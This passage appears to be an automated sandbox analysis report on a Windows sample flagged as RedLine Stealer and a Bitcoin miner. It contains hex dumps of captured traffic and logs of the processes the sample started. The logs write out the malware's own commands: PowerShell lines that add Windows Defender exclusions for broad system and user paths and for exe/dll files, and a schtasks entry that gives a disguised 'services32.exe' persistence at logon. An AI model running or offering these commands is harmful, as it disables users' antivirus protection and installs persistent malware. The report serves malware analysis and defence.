47 c7 ae 52 70 da 93 92 4e b6 dc 8f ab 2e 1d b0 9f 83 da dc ee fe 05 d5 ee 1b 77 fc 4b 82 20 6b 68 98 24 98 3c a3 29 71 f4 8c fb 86 91 0a 38 6c 22 Data Ascii: {`~IKqcz8#jywIDSw4=l5Ch^[I6^n=#[UMqgosNN7nL9wA4<nj\|utR4j5x_z!C*0#X{626ii-E!hHGRpN.wK kh$<)q8l"
2021-12-28 17:13:33 UTC	3983	IN	Data Raw: 9f 95 74 d3 a9 a8 70 bc 6e f3 2d 44 32 41 aa c8 29 f7 a2 c2 54 e4 95 19 41 18 a6 dc 61 84 28 21 c2 d3 9b 84 b5 42 cd 44 6f 6a 1b ba 5a fb a2 f2 90 fe 3e 3b eb a5 f9 6f 43 fc 69 4f c5 e3 42 88 ca 93 82 6a 06 65 e5 71 18 50 c4 30 69 8c 1c 26 e9 6e e9 c8 92 ad 88 1b 98 0c 05 da 22 3f 84 78 3c 8a 52 d2 11 9a fe 74 4d 79 8a 8a a8 c7 04 66 d6 2b 62 93 8c e3 37 f5 79 1d 7b cb fc 01 01 1f e6 42 3b 61 09 5e f8 11 0a cc b2 99 a9 ac aa 80 e1 4a f1 13 66 7a ac 49 5a 87 91 cf 53 12 dc c0 7a 0f fb 67 3b 12 4a 0c a4 0f e5 da b6 b8 58 e1 3e 93 ab c2 9a a7 5b b3 00 16 ee 91 1d ce 72 2b 8b 74 7f a3 fc 7f 23 94 5e 33 6a e1 b7 25 ce 95 dc 2c 2b 3a 9a 35 85 03 a8 6f 05 ee 56 36 ba c1 2f e7 3b b1 3d 6f f5 12 1a 46 0b 34 4c 93 39 3b 58 e4 fe 16 18 b8 26 e4 46 99 80 b4 43 12 49 Data Ascii: tpn-D2A)TAa(!BDojZ>;oCiOBjeqP0i&n"?x<RtMyf+b7y{B;a^JfzIZSzg;JX>[r+t#^3j%,+:5oV6/;=oF4L9;X&FCI
2021-12-28 17:13:33 UTC	3999	IN	Data Raw: 27 f0 92 c8 c4 44 96 fd c6 0b bf ac 87 5b bb a3 5c a6 13 63 19 03 57 be 0b da 0c 2b 75 09 b9 a7 48 31 1a f3 8c 66 92 23 da 0d 10 0e 88 a7 c8 93 d6 5b ef 4e ea 3a 88 aa 82 e8 9a 04 80 26 34 64 33 01 e5 1f fb 55 e9 38 45 6c 77 ad c1 71 50 e5 8c d1 0f 46 67 f6 50 c5 fb b9 d2 1c 74 07 15 74 0b 6a 48 9b 12 eb 33 1c d9 d9 c5 23 6d f9 14 f4 c2 57 e0 f3 b5 63 bb 2b d2 eb d0 d6 1d 05 c6 ae 35 25 5b 5f 60 2b 00 1d 5c 20 58 99 6b fc ff 65 22 36 43 d3 ba 14 5d 85 5e e1 4d 82 a0 be 2a e0 55 4d 95 ed 73 5c 36 61 e5 17 25 7f 0d e2 d5 1d 68 41 43 b1 ab 5d 92 0c 96 67 ed 64 d2 3d 4c 81 14 d1 30 25 69 95 89 87 d3 d8 7d fd 4b 62 e3 b3 d8 c9 71 e2 e9 36 95 03 52 19 4e f5 4d 80 89 e0 34 1d b9 30 f8 b9 5d a1 15 82 62 34 1f ba 5a 67 88 38 74 97 b2 4e 2f ec 14 79 4a 0e 1e 16 10 Data Ascii: 'D[\cW+uH1f#[N:&4d3U8ElwqPFgPttjH3#mWc+5%[_`+\ Xke"6C]^M*UMs\6a%hAC]gd=L0%i}Kbq6RNM40]b4Zg8tN/yJ
2021-12-28 17:13:33 UTC	4015	IN	Data Raw: f1 3f 65 92 40 4d ad cb ed d3 24 1e d2 cf b1 e3 46 90 c8 08 bd b0 86 56 56 e3 cc 68 56 a3 d5 1c 8c 99 8c 66 36 0b 65 0e 44 f2 95 f5 99 71 b3 f9 74 56 2c d3 fc ab 58 74 40 e3 d9 ad 84 85 c0 e6 5b 2d f1 d1 fb eb c2 1f d9 ff 8a 7d 80 69 de fc 33 a6 b2 5f 68 60 c1 dc 91 a5 bb e6 ef 2a a7 d4 c9 e1 61 e8 6d 80 9a 14 b4 8b 34 9d d2 51 75 f0 bf d9 6c 22 1a 29 9a 47 3a 2b 2e cd 40 29 a5 0e b4 48 03 79 3b 28 b8 59 48 6b c7 26 e4 0e 0f 49 43 10 40 d1 82 b5 f7 83 44 55 37 44 87 77 0c 3d cd 51 1e a6 3d 63 47 8e aa 82 b8 5e 34 95 df 02 5e b0 d8 3f 52 93 21 aa 0b b2 58 1d b8 82 4a 4e e9 38 82 58 5e 73 7c ce 78 b0 bd 42 0e 42 72 69 e3 9f 35 88 8b 4e ff 42 dc 07 46 a9 68 65 83 ed 9f 7b ea 23 df c3 56 32 2e 04 cf 47 b1 bf 29 61 12 b9 3d 94 c0 c3 3c 8d dc f6 fb 91 29 e8 18 Data Ascii: ?e@M$FVVhVf6eDqtV,Xt@[-}i3_h`*am4Qul")G:+.@)Hy;(YHk&IC@DU7Dw=Q=cG^4^?R!XJN8X^s\|xBBri5NBFhe{#V2.G)a=<)
2021-12-28 17:13:33 UTC	4031	IN	Data Raw: 5d f1 e6 29 a9 31 cd 0f 0d 0b e5 27 b4 f4 66 a2 06 ac 15 56 2a 61 a0 c6 49 fb 44 6e ce 5a 72 cc 4d 5e 80 18 e3 e7 6e 3d 12 4a a4 e3 46 91 26 09 05 9a a9 f2 63 8c 06 73 5e b0 da 04 f9 de eb fe 8e 73 8d db 51 93 d7 d9 ac 86 b2 85 6d d8 73 a6 b1 f8 70 2c ca 7d 2b 0c f3 9b ec da 15 0d 04 2e 79 85 f5 88 82 73 cc 32 d9 a4 a6 0f a9 cd 75 cb 13 41 a7 0a 83 43 1a ff 60 95 2c fa b7 27 f6 87 31 42 37 4a ad 0d 5a b9 88 7c d1 21 c0 59 82 bb 76 4c e2 e8 88 a2 89 cb 9b 94 9e a1 fb c7 57 d4 8f fd eb 9b 73 7e 73 1f ac eb 3f 79 de 89 b8 90 5e fb f0 a2 54 e5 c5 42 f6 74 da 59 ea eb 26 61 6d fe d2 8a cc 43 cc f1 b0 ba 4a 33 3c e1 7b a2 73 a8 9f 23 59 69 43 4c 24 3e 39 99 41 ae 23 73 a8 cc 67 5e 75 4b aa 23 2a 8e 8e a2 a8 77 85 b7 b1 43 5f 4e 79 1f c4 c2 43 10 91 6e 17 05 bb Data Ascii: ])1'fVaIDnZrM^n=JF&cs^sQmsp,}+.ys2uAC`,'1B7JZ\|!YvLWs~s?y^TBtY&amCJ3<{s#YiCL$>9A#sg^uK#wC_NyCn
2021-12-28 17:13:33 UTC	4047	IN	Data Raw: e9 9a f6 b6 ee 8a 37 ef 17 c4 25 84 e3 5a 20 f5 e3 0a 5b bb 1f 1b e0 eb 53 49 93 20 e4 d6 6d d0 23 30 91 93 8a ed 35 45 94 c4 db 64 39 46 83 79 12 a3 ff cf ec f3 ef 82 b8 a6 3b ba bd 4f ca d8 69 ca 49 cd c7 77 2b 7f 25 65 d9 60 d4 fe da ca e4 24 01 d8 f1 e0 2b 27 ba 25 c5 27 3c a5 32 16 da 00 90 40 1c ad a7 9f 68 29 f4 f1 08 a3 8c b1 ce 5b 20 f3 84 3e 5d e0 52 e1 4c 8e d6 95 f9 13 68 59 eb 26 56 90 cf 9b b2 37 cb 50 ae 79 7b e0 33 ce 97 49 74 3e c8 bb 0b 2e 71 2a 03 3e 9f 24 39 44 73 97 36 30 b4 79 c7 4b 8b 3f 7d 1d 18 73 80 1e 10 94 51 58 af d7 b9 41 1e da 2e ff 63 82 3e 0d 68 5c e0 30 0d bf 55 fc 2f c0 a7 85 c8 2f 7d b9 2a 3b d9 d2 30 5e 74 3e eb c3 f7 2d 9e c8 c8 34 f4 a8 71 d5 16 dc 44 ec 64 ff 22 93 89 55 7b 71 5f ab 1a 31 b2 9a ce 91 9e 50 91 10 52 Data Ascii: 7%Z [SI m#05Ed9Fy;OiIw+%e`$+'%'<2@h)[ >]RLhY&V7Py{3It>.q>$9Ds60yK?}sQXA.c>h\0U//};0^t>-4qDd"U{q_1PR
2021-12-28 17:13:33 UTC	4063	IN	Data Raw: 08 33 28 43 00 00 01 1c bf 29 28 6a 3a 7f 00 ff 1e b3 00 00 00 13 30 08 00 12 00 00 00 00 00 00 00 73 6b 01 00 06 14 20 18 94 5e 00 28 dc 01 00 06 26 2a 00 20 00 00 80 6c 1e 00 20 00 00 60 00 a0 1e 00 aa 01 21 00 60 00 00 60 28 10 00 00 00 21 71 00 5c 34 00 81 2f 00 28 42 00 00 01 1c 58 28 5a 00 00 0a e1 9e 20 00 28 97 00 00 0a e4 cc 71 00 ef 6d 00 28 e8 01 00 06 f7 28 43 00 00 01 1c ca 28 97 37 7f 00 08 33 28 43 00 00 01 1c 01 29 28 7c 37 7f 00 ff b0 db df 07 00 4a 04 00 28 81 00 00 01 de 28 15 00 00 0a 23 21 07 00 5c 07 00 28 12 00 00 0a 5d 28 87 00 00 0a f5 28 88 00 00 0a fa 28 00 00 00 00 81 08 00 28 05 00 00 00 28 01 00 00 00 47 29 28 01 00 00 00 08 28 43 00 00 01 1c bf 28 c7 8a 5e 00 ff 33 28 43 00 00 01 1c ca 29 28 cb 24 7f 00 08 1e 0b 9e 34 00 cc Data Ascii: 3(C)(j:0sk ^(&* l `!``(!q\4/(BX(Z (qm((C(73(C)(\|7J((#!\(](((((G)((C(^3(C)($4
2021-12-28 17:13:33 UTC	4079	IN	Data Raw: 5b 07 20 1f 00 00 00 5f 62 0b 02 fe 06 cf 01 00 06 20 5b 60 10 4c 07 61 0b 73 8d 03 00 06 20 d8 06 f7 31 07 20 1f 00 00 00 5f 62 0b 6f fe 00 00 0a 07 20 6e 47 52 57 60 0b 02 07 20 06 00 00 00 64 0b 7b 83 00 00 04 07 20 a5 48 5d 03 59 20 34 33 b8 7f 07 60 0b 02 20 ca 7d f2 38 07 20 1f 00 00 00 5f 62 0b fe 06 d8 01 00 06 73 8d 03 00 06 07 20 50 3d b4 16 5e 0b 6f fe 00 00 0a 20 cb 10 f2 03 07 59 0b 02 7b 83 00 00 04 07 20 fc 77 9a 52 60 0b 07 20 86 ff da f3 59 02 20 af 2c 44 69 07 60 0b fe 06 bb 01 00 06 73 8d 03 00 06 6f fe 00 00 0a 20 89 4a 5a 61 07 5f 39 ff de ff ff 02 20 3b 31 03 09 07 59 0b 7b 83 00 00 04 07 20 07 0a bf 02 60 0b 07 20 45 3b bf 0f 61 07 20 79 61 00 1a 61 0b 02 fe 06 c7 01 00 06 20 1a 66 61 39 07 58 0b 73 8d 03 00 06 07 20 06 00 00 00 62 Data Ascii: [ _b [`Las 1 _bo nGRW` d{ H]Y 43` }8 _bs P=^o Y{ wR` Y ,Di`so JZa_9 ;1Y{ ` E;a yaa fa9Xs b
2021-12-28 17:13:33 UTC	4095	IN	Data Raw: 13 15 13 14 11 1a 73 09 01 00 0a 13 10 11 15 20 ad 49 a9 0e 5e 13 15 11 15 20 88 51 5a 3a 41 55 f8 ff ff 12 10 11 15 20 0d 42 e5 0a 59 13 15 28 cd 00 00 0a 11 15 20 d0 43 f7 5c 5e 13 15 11 14 6f 15 02 00 06 11 15 20 85 13 10 43 60 13 15 28 0a 01 00 0a 11 14 20 7d 7f 59 33 11 15 5f 13 15 6f 15 02 00 06 73 ee 02 00 06 2a 11 15 20 06 00 00 00 64 13 15 20 2a 3e 6a 23 11 15 58 39 2e f8 ff ff 0e 04 39 a4 00 00 00 03 6f 20 02 00 06 11 15 20 8a 77 c4 31 5c 13 15 13 12 11 15 20 12 00 00 00 62 13 15 04 20 9e 01 76 1f 11 15 20 1f 00 00 00 5f 62 13 15 6f 20 02 00 06 20 77 6a 52 40 11 15 5f 13 15 13 18 20 18 40 37 60 11 15 20 1f 00 00 00 5f 64 13 15 05 20 f2 37 7f 13 11 15 5a 13 15 3a 16 00 00 00 11 15 20 ae 13 76 13 43 bd f7 ff ff 11 12 11 18 59 38 19 00 00 00 20 ac Data Ascii: s I^ QZ:AU BY( C\^o C`( }Y3_os* d *>j#X9.9o w1\ b v _bo wjR@_ @7` _d 7Z: vCY8
2021-12-28 17:13:33 UTC	4111	IN	Data Raw: 9a 11 07 20 bc 52 76 4b 5a 13 07 6f 11 02 00 06 11 07 20 1b a9 81 13 61 13 07 12 03 28 31 01 00 0a 20 d2 05 1c 0e 11 07 5c 13 07 3a b1 ff ff ff dd 0e 00 00 00 12 03 fe 16 15 00 00 1b 6f 32 00 00 0a dc 20 2d 07 cb 01 13 07 06 11 07 20 f1 63 d4 5b 58 13 07 39 87 00 00 00 11 07 20 1c 0e 16 4f 43 dd ff ff ff 02 06 20 e8 16 b7 13 11 07 59 13 07 28 86 01 00 06 13 05 11 07 20 72 0a 8f 49 58 39 bd ff ff ff 11 05 11 07 20 bf 69 ee 14 58 13 07 d0 a9 00 00 01 28 82 00 00 0a 11 07 20 95 55 99 92 58 13 07 3b 36 00 00 00 11 07 20 44 1e 62 47 58 13 07 20 4b 08 4e 39 11 07 5e 39 1f 00 00 00 02 20 c1 7f 9e 48 11 07 5e 13 07 11 04 11 07 20 10 00 00 00 62 13 07 11 05 28 84 01 00 06 2a 20 58 7e 33 47 11 07 5a 39 d4 ff ff ff 14 2a 00 41 1c 00 00 02 00 00 00 0b 03 00 00 59 00 Data Ascii: RvKZo a(1 \:o2 - c[X9 OC Y( rIX9 iX( UX;6 DbGX KN9^9 H^ b(* X~3GZ9*AY
2021-12-28 17:13:33 UTC	4127	IN	Data Raw: 7b 86 00 00 04 3a 11 00 00 00 20 2f 0c 90 3b 07 61 39 05 00 00 00 dd 37 00 00 00 20 9d 01 59 61 07 61 39 a6 ff ff ff dd 9a ff ff ff 0a 02 20 18 3c 74 58 0b 06 20 65 0f 76 1f 07 58 0b 28 8e 01 00 06 20 cc 5a c5 7f 07 43 e0 ff ff ff dd 74 ff ff ff 02 20 05 5a 81 32 0b 28 6d 01 00 06 07 20 14 00 00 00 64 0b 6f 10 02 00 06 0c dd 2c 00 00 00 20 5e 74 1b 40 0b 07 20 ba 53 9e 38 3b 1a 00 00 00 02 20 51 68 4b 63 07 61 0b 28 db 01 00 06 07 20 a5 2e 41 17 5a 39 d5 ff ff ff dc 08 2a 00 00 41 34 00 00 00 00 00 00 28 00 00 00 5f 00 00 00 87 00 00 00 26 00 00 00 2e 00 00 01 02 00 00 00 21 00 00 00 ab 00 00 00 cc 00 00 00 2c 00 00 00 00 00 00 00 13 30 1c 00 26 00 00 00 f5 00 00 11 20 db 45 b3 07 0a 73 7e 01 00 0a 80 89 00 00 04 73 7f 01 00 0a 80 8a 00 00 04 20 70 0a c9 Data Ascii: {: /;a97 Yaa9 <tX evX( ZCt Z2(m do, ^t@ S8; QhKca( .AZ9*A4(_&.!,0& Es~s p
2021-12-28 17:13:33 UTC	4143	IN	Data Raw: 0a 02 7b cc 00 00 04 06 20 03 60 e9 0b 59 0a 73 22 03 00 06 2a 13 30 1c 00 18 00 00 00 09 02 00 11 20 d0 7d 47 3d 0a 02 7b cb 00 00 04 02 7b cc 00 00 04 6f 6b 01 00 0a 2a 13 30 1c 00 43 00 00 00 0a 02 00 11 02 20 f6 5a 7b 1f 0a 7b cb 00 00 04 20 11 1d 58 7c 06 61 0a 03 06 20 c9 2a 0d 16 5e 0a 02 20 a3 02 6c 4e 06 20 1f 00 00 00 5f 62 0a 7b cc 00 00 04 6f 6a 01 00 0a 06 20 21 19 c2 60 5c 39 be ff ff ff 2a 00 13 30 1a 00 1a 02 00 00 0b 02 00 11 72 c7 07 00 70 d0 91 00 00 01 28 82 00 00 0a 20 28 37 03 16 0a 06 20 da c8 fc e9 58 8d 71 00 00 01 06 20 74 09 02 0c 5f 0a 25 20 11 13 65 47 06 5f 0a 06 20 00 ff ff fb 58 02 20 e3 4f ed 7c 06 5a 0a 7b cb 00 00 04 20 c2 7b d9 31 06 59 0a 6f 4a 01 00 0a 06 20 26 3f af 42 59 0a a2 25 06 20 88 4b e8 0c 59 0a 06 20 15 0e Data Ascii: { `Ys"0 }G={{ok0C Z{{ X\|a ^ lN _b{oj !`\90rp( (7 Xq t_% eG_ X O\|Z{ {1YoJ &?BY% KY
2021-12-28 17:13:33 UTC	4159	IN	Data Raw: 21 d0 01 9b 00 b8 4b 7f 00 00 00 86 00 22 21 f9 05 9b 00 40 4c 7f 00 00 00 86 00 2b 21 ff 05 9d 00 80 4c 7f 00 00 00 86 00 34 21 04 06 9e 00 b8 4c 7f 00 00 00 86 18 29 1c d0 01 9f 00 b4 bf 1e 00 00 00 86 18 29 1c d0 01 9f 00 88 5e 3f 00 00 00 96 00 3d 21 09 06 9f 00 ac 5e 3f 00 00 00 96 00 46 21 0d 06 9f 00 e4 5e 3f 00 00 00 93 00 4f 21 12 06 a0 00 ac 6b 3f 00 00 00 96 00 58 21 09 06 a1 00 d0 6b 3f 00 00 00 96 00 61 21 09 06 a1 00 ec 72 3f 00 00 00 96 00 6a 21 18 06 a1 00 bd c6 1e 00 00 00 86 08 73 21 1e 06 a2 00 c5 c6 1e 00 00 00 81 08 7c 21 24 06 a2 00 ce c6 1e 00 00 00 86 08 85 21 2b 06 a3 00 d6 c6 1e 00 00 00 81 08 8e 21 31 06 a3 00 df c6 1e 00 00 00 86 08 97 21 38 06 a4 00 e7 c6 1e 00 00 00 81 08 a0 21 3e 06 a4 00 f0 c6 1e 00 00 00 86 08 a9 21 45 06 Data Ascii: !K"!@L+!L4!L))^?=!^?F!^?O!k?X!k?a!r?j!s!\|!$!+!1!8!>!E
2021-12-28 17:13:33 UTC	4175	IN	Data Raw: 03 76 44 03 00 40 01 d9 03 91 44 03 00 40 01 db 03 aa 44 03 00 00 01 dd 03 c1 44 04 00 a4 16 20 00 9a 00 c4 16 20 00 9b 00 04 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 44 00 00 04 00 00 00 00 00 00 00 00 00 00 00 8e 17 e4 44 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 8e 17 15 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 97 17 97 02 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 8e 17 71 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ed 44 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 8e 17 65 0a 00 00 00 00 00 00 00 00 01 00 00 00 fe 44 15 00 61 00 49 00 62 00 4a 00 63 00 4a 00 64 00 54 00 65 00 55 00 66 00 5a 00 67 00 5b 00 68 00 5b 00 69 00 5b 00 6a 00 5e 00 6b 00 5e 00 6c 00 5e 00 6d 00 5e 00 6e 00 5e 00 6f 00 5e 00 Data Ascii: vD@D@DD DDqDeDaIbJcJdTeUfZg[h[i[j^k^l^m^n^o^
2021-12-28 17:13:33 UTC	4191	IN	Data Raw: 64 00 52 65 73 6f 6c 76 65 54 79 70 65 00 67 65 74 5f 49 73 53 74 61 74 69 63 00 43 72 65 61 74 65 44 65 6c 65 67 61 74 65 00 47 65 74 4d 65 74 68 6f 64 73 00 67 65 74 5f 44 65 63 6c 61 72 69 6e 67 54 79 70 65 00 47 65 74 50 61 72 61 6d 65 74 65 72 73 00 67 65 74 5f 50 61 72 61 6d 65 74 65 72 54 79 70 65 00 67 65 74 5f 52 65 74 75 72 6e 54 79 70 65 00 67 65 74 5f 49 73 49 6e 74 65 72 66 61 63 65 00 67 65 74 5f 49 73 41 72 72 61 79 00 47 65 74 44 79 6e 61 6d 69 63 49 4c 49 6e 66 6f 00 53 65 74 4c 6f 63 61 6c 53 69 67 6e 61 74 75 72 65 00 67 65 74 5f 4d 65 74 68 6f 64 48 61 6e 64 6c 65 00 47 65 74 54 6f 6b 65 6e 46 6f 72 00 53 65 74 43 6f 64 65 00 4e 65 78 74 00 43 6f 6e 74 61 69 6e 73 4b 65 79 00 67 65 74 5f 56 61 6c 75 65 00 67 65 74 5f 4b 65 79 00 67 65 Data Ascii: dResolveTypeget_IsStaticCreateDelegateGetMethodsget_DeclaringTypeGetParametersget_ParameterTypeget_ReturnTypeget_IsInterfaceget_IsArrayGetDynamicILInfoSetLocalSignatureget_MethodHandleGetTokenForSetCodeNextContainsKeyget_Valueget_Keyge

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: YfTokH7RIj.exe PID: 6764 Parent PID: 5464

General

Start time:	18:13:06
Start date:	28/12/2021
Path:	C:\Users\user\Desktop\YfTokH7RIj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\YfTokH7RIj.exe"
Imagebase:	0x400000
File size:	1666048 bytes
MD5 hash:	1B8BF38E83C31C76C7DD00088AC0922D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: fl.exe PID: 1476 Parent PID: 6764

General

Start time:	18:13:38
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\fl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\fl.exe"
Imagebase:	0x1d0000
File size:	4305408 bytes
MD5 hash:	BF232E7CD2DE9652142313A13FE16E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 60%, Virustotal, Browse Detection: 26%, Metadefender, Browse Detection: 71%, ReversingLabs
Reputation:	low

Analysis Process: cmd.exe PID: 1372 Parent PID: 1476

General

Start time:	18:13:51
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6856 Parent PID: 1372

General

Start time:	18:13:51
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exe PID: 6932 Parent PID: 1372

General

Start time:	18:13:52
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: cmd.exe PID: 5304 Parent PID: 1476

General

Start time:	18:13:53
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5696 Parent PID: 5304

General

Start time:	18:13:54
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: schtasks.exe PID: 5780 Parent PID: 5304

General

Start time:	18:13:54
Start date:	28/12/2021
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
Imagebase:	0x7ff716f20000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: services32.exe PID: 5948 Parent PID: 968

General

Start time:	18:13:56
Start date:	28/12/2021
Path:	C:\Windows\System32\services32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\services32.exe
Imagebase:	0x2b0000
File size:	4305408 bytes
MD5 hash:	BF232E7CD2DE9652142313A13FE16E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000000F.00000002.829079660.0000000003E1A000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 26%, Metadefender, Browse Detection: 71%, ReversingLabs
Reputation:	low

Analysis Process: cmd.exe PID: 6484 Parent PID: 1476

General

Start time:	18:13:57
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" cmd /c "C:\Windows\system32\services32.exe
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6664 Parent PID: 6484

General

Start time:	18:13:58
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: services32.exe PID: 6972 Parent PID: 6484

General

Start time:	18:13:59
Start date:	28/12/2021
Path:	C:\Windows\System32\services32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\services32.exe
Imagebase:	0x4b0000
File size:	4305408 bytes
MD5 hash:	BF232E7CD2DE9652142313A13FE16E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 00000013.00000002.815233218.0000000003E6A000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: powershell.exe PID: 3496 Parent PID: 1372

General

Start time:	18:14:00
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: cmd.exe PID: 2128 Parent PID: 6972

General

Start time:	18:14:14
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 4788 Parent PID: 2128

General

Start time:	18:14:15
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: powershell.exe PID: 1572 Parent PID: 2128

General

Start time:	18:14:16
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: cmd.exe PID: 4812 Parent PID: 5948

General

Start time:	18:14:20
Start date:	28/12/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
